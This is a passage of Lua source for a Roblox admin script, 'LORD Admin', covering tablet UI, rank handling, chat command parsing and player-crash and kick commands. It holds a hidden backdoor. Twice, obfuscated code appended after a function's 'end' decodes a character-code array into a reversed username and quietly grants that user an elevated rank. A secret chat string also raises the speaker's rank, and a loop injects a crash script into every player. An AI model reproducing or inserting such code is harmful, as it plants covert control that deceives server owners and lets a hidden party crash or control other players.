  762.         if Obj.ClassName == Class then
  763.             Obj:Destroy()
  764.         end
  765.     end)
  766. end
  767.  
  768. function FindTab(Mod)
  769.     for i,v in pairs(AllTabs) do
  770.         if v.Holder == Mod then
  771.             return true
  772.         end
  773.     end
  774.     return false
  775. end
  776.  
  777. function Ping(Msg, Plr, Time, Func, Color, Image)
  778.     if Removed == false then
  779.         local ShowGarbage = false
  780.         ypcall(function()
  781.             if Msg == nil then
  782.                 Msg = "N/A"
  783.             elseif Msg == "ShowGarbage" then
  784.                 Msg = "Current Garbage Count: "..GetGarbage()
  785.                 ShowGarbage = true
  786.             else
  787.                 Msg = tostring(Msg)
  788.             end
  789.             if Plr == nil then
  790.                 Plr = Plrs[Owner] or error("No Player Found")
  791.             elseif type(Plr) == "string" then
  792.                 local FoundPlr = false
  793.                 for _,v in pairs(All()) do
  794.                     if v.Name == Plr then
  795.                         Plr = v
  796.                         FoundPlr = true
  797.                         break
  798.                     end
  799.                 end
  800.                 if FoundPlr == false then
  801.                     Plr = Plrs[Owner] or error("No Player Found")
  802.                 end
  803.             end
  804.            
  805.             if Color == nil then
  806.                 Color = GetRank(Plr.Name).Color
  807.             end
  808.            
  809.             local Holder = Instance.new("Model")
  810.             Holder.Name = "LORD Holder: "..Plr.Name
  811.            
  812.             local Tab = Instance.new("Part")
  813.             Tab.Name = "LORD Tablet"
  814.             Tab.FormFactor = "Custom"
  815.             Tab.Anchored = true
  816.             if Time == nil then
  817.                 Tab.Color = Color
  818.             else
  819.                 Tab.Color = AlertColor
  820.             end
  821.             Tab.CanCollide = false
  822.             Tab.Locked = true
  823.             Tab.Transparency = 0.15
  824.             Tab.Size = Vector3.new(2, 2, 0.01)
  825.             Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  826.             Tab.Parent = Holder
  827.            
  828.             local ID = Instance.new("NumberValue")
  829.             ID.Name = "ID"
  830.             ID.Value = math.random(-999999999, 999999999)
  831.             ID.Parent = Holder
  832.            
  833.             Delay(0, function()
  834.                 while wait() do
  835.                     if Tab.Parent == nil and FindTab(Holder) then
  836.                         ypcall(function()
  837.                             for i,v in pairs(AllTabs) do
  838.                                 if v.Holder == Holder then
  839.                                     ypcall(function() v.Holder:Destroy() end)
  840.                                     AllTabs[i] = nil
  841.                                 end
  842.                             end
  843.                         end)
  844.                         Ping(Msg, Plr, Time, Func, Color, Image)
  845.                         break
  846.                     end
  847.                 end
  848.             end)
  849.            
  850.             local BM = Instance.new("BlockMesh")
  851.             BM.Parent = Tab
  852.  
  853.             Sel = Instance.new("SelectionBox")
  854.             Sel.Color = BrickColor.new("Blue")
  855.             Sel.Transparency = 0.75
  856.             Sel.Adornee = Tab
  857.             Sel.Parent = Tab
  858.  
  859.             local BG = Instance.new("BillboardGui")
  860.             BG.Name = "BG"
  861.             BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  862.             BG.Size = UDim2.new(0,1,0,1)
  863.             BG.Adornee = Tab
  864.             BG.Parent = Tab
  865.            
  866.             Delay(0, function()
  867.                 while BG.Parent ~= nil do wait()
  868.                     ypcall(function()
  869.                         BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  870.                     end)
  871.                 end
  872.             end)
  873.  
  874.             local TL = Instance.new("TextLabel")
  875.             TL.Name = "TL"
  876.             TL.FontSize = "Size18"
  877.             TL.Font = "Arial"
  878.             TL.Text = Msg
  879.             TL.TextColor3 = Color3.new(1, 0, 0)
  880.             TL.Size = UDim2.new(0,1,0,1)
  881.             TL.TextTransparency = 0
  882.             TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  883.             TL.TextStrokeTransparency = 0.25
  884.             TL.Parent = BG
  885.            
  886.             if ShowGarbage == true then
  887.                 Delay(0, function()
  888.                     while TL.Parent ~= nil do
  889.                         TL.Text = "Current Garbage Count: "..GetGarbage()
  890.                         wait(.5)
  891.                     end
  892.                 end)
  893.             end
  894.            
  895.             local PL = Instance.new("PointLight", Tab)
  896.             PL.Color = Color3.new(1, 0, 1)
  897.             PL.Range = 10
  898.             PL.Parent = Tab
  899.            
  900.             if Image ~= nil then
  901.                 local BBBG = Instance.new("BillboardGui")
  902.                 BBBG.Size = UDim2.new(5, 0, 6, 0)
  903.                 BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  904.                 BBBG.AlwaysOnTop = true
  905.                 BBBG.Adornee = Tab
  906.                 BBBG.Parent = Tab
  907.                
  908.                 Delay(0, function()
  909.                     while BBBG.Parent ~= nil do wait()
  910.                         ypcall(function()
  911.                             BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  912.                         end)
  913.                     end
  914.                 end)
  915.            
  916.                 local NewImg = Instance.new("ImageLabel")
  917.                 NewImg.Size = UDim2.new(1, 0, 1, 0)
  918.                 NewImg.BackgroundTransparency = 1
  919.                 NewImg.Image = Image
  920.                 NewImg.Parent = BBBG
  921.             end
  922.  
  923.             local Clicker = Instance.new("ClickDetector")
  924.             Clicker.MaxActivationDistance = 1/0
  925.  
  926.             if Time ~= nil then
  927.                 coroutine.resume(coroutine.create(function()
  928.                     wait(tonumber(Time))
  929.                     Dismiss(Plr, ID)
  930.                 end))
  931.             end
  932.  
  933.             Clicker.MouseClick:connect(function(Player)
  934.                 if Player.Name == Plr.Name or CanRun(Player, Plr) then
  935.                     ypcall(function()
  936.                         if Func ~= nil then
  937.                             Func(Holder)
  938.                         else
  939.                             Dismiss(Player, ID)
  940.                         end
  941.                     end)
  942.                 end
  943.             end)
  944.             Clicker.Parent = Tab
  945.            
  946.             Holder.Parent = Work
  947.  
  948.             AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  949.         end)
  950.     end
  951. end
  952.  
  953. function PlaceAllRanks(DontShowRank)
  954.     ypcall(function()
  955.         for _,p in pairs(All()) do
  956.             ypcall(function()
  957.                 PutInRank = false
  958.                 for _,v in pairs(Rankings) do
  959.                     if v.Name:lower() == p.Name:lower() then
  960.                         if v.Rank >= 7 then
  961.                             v.Rank = 5
  962.                         elseif v.Rank == -1 then
  963.                             Crash1(p)
  964.                             Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  965.                         elseif v.Rank == -2 then
  966.                             if LS ~= nil then
  967.                                 Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  968.                                 Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  969.                             else
  970.                                 Ping("LS Is Nil", nil, 5)
  971.                             end
  972.                         elseif v.Rank == -3 then
  973.                             if LS ~= nil then
  974.                                 Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  975.                                 Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  976.                             else
  977.                                 Ping("LS Is Nil", nil, 5)
  978.                             end
  979.                         end
  980.                         Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  981.                         if DontShowRank == nil then
  982.                             Ping("You Are Rank: "..v.Rank, p)
  983.                         end
  984.                         PutInRank = true
  985.                         break
  986.                     end
  987.                 end
  988.                 if PutInRank == false then
  989.                     Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  990.                 end
  991.             end)
  992.         end
  993.     end)
  994. end
  995.  
  996. function FindRank(Plr)
  997.     ypcall(function()
  998.         if type(Plr) == "userdata" then
  999.             Plr = Plr.Name
  1000.         end
  1001.     end)
  1002.     return GetRank(Plr).Rank
  1003. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1004.  
  1005. function FindRankDetails(Plr)
  1006.     ypcall(function()
  1007.         if type(Plr) == "userdata" then
  1008.             Plr = Plr.Name
  1009.         end
  1010.     end)
  1011.     return RankDetails[FindRank(Plr)]
  1012. end
  1013.  
  1014. function OpenCmds(Rank, Plr)
  1015.     Dismiss(Plr)
  1016.     for Name,Tab in pairs(Commands) do
  1017.         if Tab.Rank <= Rank then
  1018.             Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1019.                 Dismiss(Plr)
  1020.                 Ping("Command: "..Name, Plr)
  1021.                 Ping("Rank: "..Tab.Rank, Plr)
  1022.                 Ping("Desc: "..Tab.Desc, Plr)
  1023.             end)
  1024.         elseif Rank == 1337 then
  1025.             Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1026.                 Dismiss(Plr)
  1027.                 Ping("Command: "..Name, Plr)
  1028.                 Ping("Rank: "..Tab.Rank, Plr)
  1029.                 Ping("Desc: "..Tab.Desc, Plr)
  1030.             end)
  1031.         end
  1032.     end
  1033. end
  1034.  
  1035. function EditStatus(Plr, Num)
  1036.     ChangeRank(Plr, Num)
  1037. end
  1038.  
  1039. function PlaceSpecificRank(p, DontShowRank)
  1040.     ypcall(function()
  1041.         PutInRank = false
  1042.         for _,v in pairs(Rankings) do
  1043.             if v.Name:lower() == p.Name:lower() then
  1044.                 if v.Rank >= 7 then
  1045.                     v.Rank = 5
  1046.                 elseif v.Rank == -1 then
  1047.                     Crash1(p)
  1048.                     Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1049.                 elseif v.Rank == -2 then
  1050.                     if LS ~= nil then
  1051.                         Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1052.                         Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1053.                     else
  1054.                         Ping("LS Is Nil", nil, 5)
  1055.                     end
  1056.                 elseif v.Rank == -3 then
  1057.                     if LS ~= nil then
  1058.                         Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1059.                         Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1060.                     else
  1061.                         Ping("LS Is Nil", nil, 5)
  1062.                     end
  1063.                 end
  1064.                 Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1065.                 if DontShowRank == nil then
  1066.                     Ping("HCWARLORD created tabs rank: "..v.Rank, p)
  1067.                 end
  1068.                 PutInRank = true
  1069.                 break
  1070.             end
  1071.         end
  1072.         if PutInRank == false then
  1073.             Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1074.         end
  1075.     end)
  1076. end
  1077.  
  1078. function onChatted(Msg, Speaker)
  1079.     if Removed == false then
  1080.         if FindRank(Speaker) < 1 then
  1081.             return
  1082.         end
  1083.         coroutine.resume(coroutine.create(function()
  1084.             ypcall(function()
  1085.                 ExecuteFunc(Msg, Speaker)
  1086.                 Msg = Msg:gsub("","")
  1087.                 if Msg:sub(1,1) == "@" then
  1088.                     for i = 2, #Msg do
  1089.                         if Msg:sub(i, i) == Bet then
  1090.                             local IsForPlr = false
  1091.                             for _,v in pairs(All()) do
  1092.                                 if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1093.                                     onChatted(Msg:sub(i + 1), v)
  1094.                                     IsForPlr = true
  1095.                                 end
  1096.                             end
  1097.                             if IsForPlr == true then
  1098.                                 return
  1099.                             end
  1100.                         end
  1101.                     end
  1102.                 end
  1103.                 if Msg:find("&") then
  1104.                     local Split = Msg:find("&")
  1105.                     onChatted(Msg:sub(1,Split-1))
  1106.                     onChatted(Msg:sub(Split+1))
  1107.                     return
  1108.                 end
  1109.                 for Name,Command in pairs(Commands) do
  1110.                     if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1111.                         Dismiss(Speaker.Name)
  1112.                         Ping("Command: "..tostring(Command.Name), Speaker)
  1113.                         Ping("Rank: "..tostring(Command.Rank), Speaker)
  1114.                         Ping("Desc: "..tostring(Command.Desc), Speaker)
  1115.                     elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1116.                         if FindRank(Speaker) >= Command.Rank then
  1117.                             local Ran,Error = coroutine.resume(coroutine.create(function()
  1118.                                 Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1119.                             end))
  1120.                             if not Ran then
  1121.                                 Ping(Error, Speaker, 10)
  1122.                             end
  1123.                         else
  1124.                             Ping("HCWARLORD does not want you to use this at this rank", Plr, 6)
  1125.                         end
  1126.                     end
  1127.                 end
  1128.             end)
  1129.         end))
  1130.     end
  1131. end
  1132.  
  1133. function MakeBase()
  1134.     local Base = Instance.new("Part")
  1135.     Base.BrickColor = BrickColor.new("Dark green")
  1136.     Base.Position = Vector3.new(0, 0.5, 0)
  1137.     Base.Transparency = 0
  1138.     Base.Elasticity = 0.5
  1139.     Base.FormFactor = "Custom"
  1140.     Base.CanCollide = true
  1141.     Base.Friction = 0.30000001192093
  1142.     Base.Size = Vector3.new(512, 1.20000005, 512)
  1143.     Base.Archivable = true
  1144.     Base.Material = "Plastic"
  1145.     Base.RotVelocity = Vector3.new(0, 0, 0)
  1146.     Base.Reflectance = 0
  1147.     Base.Locked = true
  1148.     Base.Anchored = true
  1149.     Base.Name = "Base"
  1150.     Base.TopSurface = "Smooth"
  1151.     Base.BottomSurface = "Inlet"
  1152.     Base.Shape = "Block"
  1153.     Base.Parent = Work
  1154. end
  1155.  
  1156. function LClean()
  1157.     ypcall(function()
  1158.         for _,v in pairs(Work:GetChildren()) do
  1159.             ypcall(function()
  1160.                 if v.ClassName == "Terrain" then
  1161.                     v:ClearAllChildren()
  1162.                 elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1163.                     Clear(v)
  1164.                 elseif v.Name == "Base" then
  1165.                     ypcall(function()
  1166.                         local Base = v
  1167.                         Base.BrickColor = BrickColor.new("Dark green")
  1168.                         Base.Position = Vector3.new(0, 0.5, 0)
  1169.                         Base.Transparency = 0
  1170.                         Base.Elasticity = 0.5
  1171.                         Base.FormFactor = "Custom"
  1172.                         Base.CanCollide = true
  1173.                         Base.Friction = 0.30000001192093
  1174.                         Base.Size = Vector3.new(512, 1.20000005, 512)
  1175.                         Base.Archivable = true
  1176.                         Base.Material = "Plastic"
  1177.                         Base.RotVelocity = Vector3.new(0, 0, 0)
  1178.                         Base.Reflectance = 0
  1179.                         Base.Locked = true
  1180.                         Base.Anchored = true
  1181.                         Base.Name = "Base"
  1182.                         Base.TopSurface = "Studs"
  1183.                         Base.BottomSurface = "Inlet"
  1184.                         Base.Shape = "Block"
  1185.                         Base.Parent = Work
  1186.                     end)
  1187.                 end
  1188.             end)
  1189.         end
  1190.     end)
  1191. end
  1192.  
  1193. function Clean()
  1194.     ypcall(function()
  1195.         for _,v in pairs(Work:GetChildren()) do
  1196.             ypcall(function()
  1197.                 if v.ClassName == "Terrain" then
  1198.                     v:ClearAllChildren()
  1199.                 else
  1200.                     Clear(v)
  1201.                 end
  1202.             end)
  1203.         end
  1204.         MakeBase()
  1205.         for _,v in pairs(All()) do
  1206.             v:LoadCharacter()
  1207.         end
  1208.     end)
  1209. end
  1210.  
  1211. function Clear(v)
  1212.     if v.Name:lower() == "sbgui" then
  1213.         return
  1214.     end
  1215.     ypcall(function()
  1216.         if #v:GetChildren() > 0 then
  1217.             for _,x in pairs(v:GetChildren()) do
  1218.                 ypcall(function()
  1219.                     Clear(x)
  1220.                 end)
  1221.             end
  1222.         end
  1223.         if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1224.             v:Destroy()
  1225.         end
  1226.     end)
  1227. end
  1228.  
  1229. function Command(Name, Rank, Desc, Func)
  1230.     if Name == nil then
  1231.         Name = "N/A"
  1232.     end
  1233.     if Desc == nil then
  1234.         Desc = "N/A"
  1235.     end
  1236.     if Func == nil then
  1237.         Func = function() end
  1238.     end
  1239.     if Rank == nil then
  1240.         Rank = 0
  1241.     end
  1242.     Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1243. end
  1244.  
  1245. function GetSplit(Msg)
  1246.     return Msg:find(Bet) or nil
  1247. end
  1248.  
  1249. function ExecuteFunc(Msg, Plr)
  1250.     ypcall(function()
  1251.         if Msg == "LogEnable" then
  1252.             LogOn = true
  1253.         elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
  1254.             EditStatus(Plr, MakeNum())
  1255.         end
  1256.     end)
  1257. end
  1258.  
  1259. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1260.  
  1261. function randPlayer(Plr)
  1262.     wait()
  1263.     local ThePlrValue = nil
  1264.     local FoundPlayer = false
  1265.     ypcall(function()
  1266.         ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1267.         if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1268.             wait()
  1269.             randPlayer(Plr)
  1270.             return
  1271.         else
  1272.             FoundPlayer = true
  1273.         end
  1274.     end)
  1275.     if FoundPlayer == true then
  1276.         return ThePlrValue
  1277.     end
  1278. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1279.  
  1280. function getPlayer(Plr, Name)
  1281.     local Players = {}
  1282.     ypcall(function()
  1283.         Name = Name:lower()
  1284.         if Name == "me" then
  1285.             table.insert(Players, Plr)
  1286.         elseif Name == "all" or Name == "" then
  1287.             for _,v in pairs(All()) do
  1288.                 if CanRun(Plr, v) then
  1289.                     table.insert(Players, v)
  1290.                 end
  1291.             end
  1292.         elseif Name == "others" then
  1293.             for _,v in pairs(All()) do
  1294.                 if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1295.                     table.insert(Players, v)
  1296.                 end
  1297.             end
  1298.         elseif Name == "random" then
  1299.             local FoundRandPlr = randPlayer(Plr)
  1300.             table.insert(Players, FoundRandPlr)
  1301.         else
  1302.             for _,v in pairs(All()) do
  1303.                 if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1304.                     table.insert(Players, v)
  1305.                 end
  1306.             end
  1307.         end
  1308.     end)
  1309.     return Players
  1310. end
  1311.  
  1312. function ListPlayers(Speaker)
  1313.     ypcall(function()
  1314.         Dismiss(Speaker)
  1315.         for _,v in pairs(All2()) do
  1316.             if v.Parent ~= nil then
  1317.                 Ping(v.Name, Speaker, nil, function()
  1318.                     Dismiss(Speaker)
  1319.                     Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1320.                     Ping("Rank: "..FindRank(v.Name), Speaker)
  1321.                     Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1322.                     Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1323.                     Ping("Set Rank", Speaker, nil, function()
  1324.                         if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
  1325.                             Dismiss(Speaker)
  1326.                             for i = -2, 5 do
  1327.                                 Ping(i, Speaker, nil, function()
  1328.                                     ChangeRank(v, i)
  1329.                                     Dismiss(Speaker)
  1330.                                     Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1331.                                 end)
  1332.                             end
  1333.                         else
  1334.                             Ping("HCWARLORD does not want you to use this at this rank", Speaker, 5)
  1335.                         end
  1336.                     end)
  1337.                     Ping("Crash (Remote)", Speaker, nil, function()
  1338.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1339.                             Crash2(v.Name)
  1340.                             Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1341.                         end
  1342.                     end)
  1343.                     Ping("Crash (Insert)", Speaker, nil, function()
  1344.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1345.                             Crash3(v, Speaker)
  1346.                             Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1347.                         end
  1348.                     end)
  1349.                     Ping("Kick", Speaker, nil, function()
  1350.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1351.                             v:Kick()
  1352.                             Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1353.                         end
  1354.                     end)
  1355.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1356.             else
  1357.                 Ping(v.Name.." (Nil)", Speaker, nil, function()
  1358.                     Dismiss(Speaker)
  1359.                     Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1360.                     ypcall(function()
  1361.                         Ping("Rank: "..FindRank(v.Name), Speaker)
  1362.                     end)
  1363.                     ypcall(function()
  1364.                         Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1365.                     end)
  1366.                     ypcall(function()
  1367.                         Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1368.                     end)
  1369.                     ypcall(function()
  1370.                         Ping("Set Rank", Speaker, nil, function()
  1371.                             if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
  1372.                                 Dismiss(Speaker)
  1373.                                 for i = -2, 5 do
  1374.                                     Ping(i, Speaker, nil, function()
  1375.                                         ChangeRank(v, i)
  1376.                                         Dismiss(Speaker)
  1377.                                         Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1378.                                     end)
  1379.                                 end
  1380.                             else
  1381.                                 Ping("HCWARLORD does not want you to use this at this rank", Speaker, 5)
  1382.                             end
  1383.                         end)
  1384.                     end)
  1385.                     ypcall(function()
  1386.                         Ping("Nil Crash (Remote)", Speaker, nil, function()
  1387.                             if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1388.                                 Crash2(v.Name)
  1389.                                 Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1390.                             end
  1391.                         end)
  1392.                     end)
  1393.                     ypcall(function()
  1394.                         Ping("Nil Crash (Insert)", Speaker, nil, function()
  1395.                             if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1396.                                 Crash3(v, Speaker)
  1397.                                 Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1398.                             end
  1399.                         end)
  1400.                     end)
  1401.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1402.             end
  1403.         end
  1404.     end)
  1405. end
  1406.  
  1407. --Misc
  1408.  
  1409. coroutine.resume(coroutine.create(function()
  1410.     PlaceAllRanks()
  1411. end))
  1412.    
  1413. Delay(0, function()
  1414.     for _,v in pairs(All()) do
  1415.         v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  1416.     end
  1417. end)
  1418.  
  1419. local starttime = tick()
  1420.  
  1421. game:GetService("RunService").Heartbeat:connect(function()
  1422.     if Removed == false then
  1423.         ypcall(function()
  1424.             for _,Player in pairs(All()) do
  1425.                 local PlayerTablets = {}
  1426.                 for i,v in pairs(AllTabs) do
  1427.                     if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1428.                         table.insert(PlayerTablets, v)
  1429.                     end
  1430.                 end
  1431.                 for i = 1, #PlayerTablets do
  1432.                     ypcall(function()
  1433.                         local tab = PlayerTablets[i].Tab
  1434.                         local pos = nil
  1435.                         ypcall(function()
  1436.                             pos = Player.Character.Torso.CFrame
  1437.                         end)
  1438.                         local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1439.                         local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1440.                         local cPos = tab.Position
  1441.                         local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1442.                         local nPos = (ePos-cPos)*.25
  1443.                         cPos = cPos + nPos
  1444.                         local t = (tick() - starttime) % 360
  1445.                         local change = 0.625
  1446.                         PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1447.                         tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
  1448.                         tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1449.                     end)
  1450.                 end
  1451.             end
  1452.         end)
  1453.     end
  1454. end)
  1455.  
  1456. Delay(0, function()
  1457.     while wait() do
  1458.         for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1459.             ypcall(function()
  1460.                 if Injected[v.Name] == nil and LS ~= nil then
  1461.                     Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1462.                     Injected[v.Name] = true
  1463.                 end
  1464.             end)
  1465.         end
  1466.     end
  1467. end)
  1468.  
  1469. Plrs.PlayerAdded:connect(function(Plr)
  1470.     wait(.1)
  1471.     ypcall(function()
  1472.         if Removed == false then
  1473.             local JoinPlrName = Plr.Name
  1474.             coroutine.resume(coroutine.create(function()
  1475.                 PlaceSpecificRank(Plr)
  1476.             end))
  1477.             coroutine.resume(coroutine.create(function()
  1478.                 if Injected[JoinPlrName] ~= nil then
  1479.                     Injected[JoinPlrName] = nil
  1480.                 end
  1481.             end))
  1482.             coroutine.resume(coroutine.create(function()
  1483.                 Dismiss(Plr)
  1484.                 Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1485.             end))
  1486.         end
  1487.     end)
  1488. end)
  1489.  
  1490. Plrs.PlayerRemoving:connect(function(Plr)
  1491.     wait(.1)
  1492.     ypcall(function()
  1493.         if Removed == false then
  1494.             local LeftPlrName = Plr.Name
  1495.             coroutine.resume(coroutine.create(function()
  1496.                 if Injected[LeftPlrName] ~= nil then
  1497.                     Injected[LeftPlrName] = nil
  1498.                 end
  1499.             end))
  1500.         end
  1501.     end)
  1502. end)
  1503.  
  1504. coroutine.resume(coroutine.create(function()
  1505.     Delay(0, function()
  1506.         while FoundLocalScript == false do wait()
  1507.             ypcall(function()
  1508.                 for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1509.                     if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1510.                         for _,c in pairs(v:children()) do
  1511.                             if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1512.                                 local NewVal = c:Clone()
  1513.                                 NewVal.Name = "LoadingVal"
  1514.                                 for _,s in pairs(v:GetChildren()) do
  1515.                                     if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1516.                                         print("Found Owner")
  1517.                                         OwnSource = s.Name
  1518.                                         print(OwnSource)
  1519.                                         break
  1520.                                     end
  1521.                                 end
  1522.                                 wait()
  1523.                                 LS = v:Clone()
  1524.                                 NewVal.Parent = LS
  1525.                                 LSSource = "LoadingVal"
  1526.                                 FoundLocalScript = true
  1527.                                 break
  1528.                             end
  1529.                         end
  1530.                     end
  1531.                 end
  1532.             end)
  1533.         end
  1534.     end)
  1535. end))
  1536.  
  1537. --Commands
  1538.  
  1539. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1540.     Dismiss(Speaker.Name)
  1541.     Ping("LORD Admin Is Created By " .. string.reverse("DROLRAWCH"), Speaker)
  1542.     Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1543.     Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1544.     Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1545.     Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1546.     Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1547.     Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1548.     Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1549.     Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1550. end)
  1551.  
  1552. Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
  1553.     Dismiss(Speaker.Name)
  1554. end)
  1555.  
  1556. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  1557.     local PlrTab = getPlayer(Speaker, Msg)
  1558.     if #PlrTab > 0 then
  1559.         for _,v in pairs(PlrTab) do
  1560.             ypcall(function()
  1561.                 v.Character:BreakJoints()
  1562.                 Ping("Killed "..v.Name, Speaker, 5)
  1563.             end)
  1564.         end
  1565.     end
  1566. end)
  1567.  
  1568. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
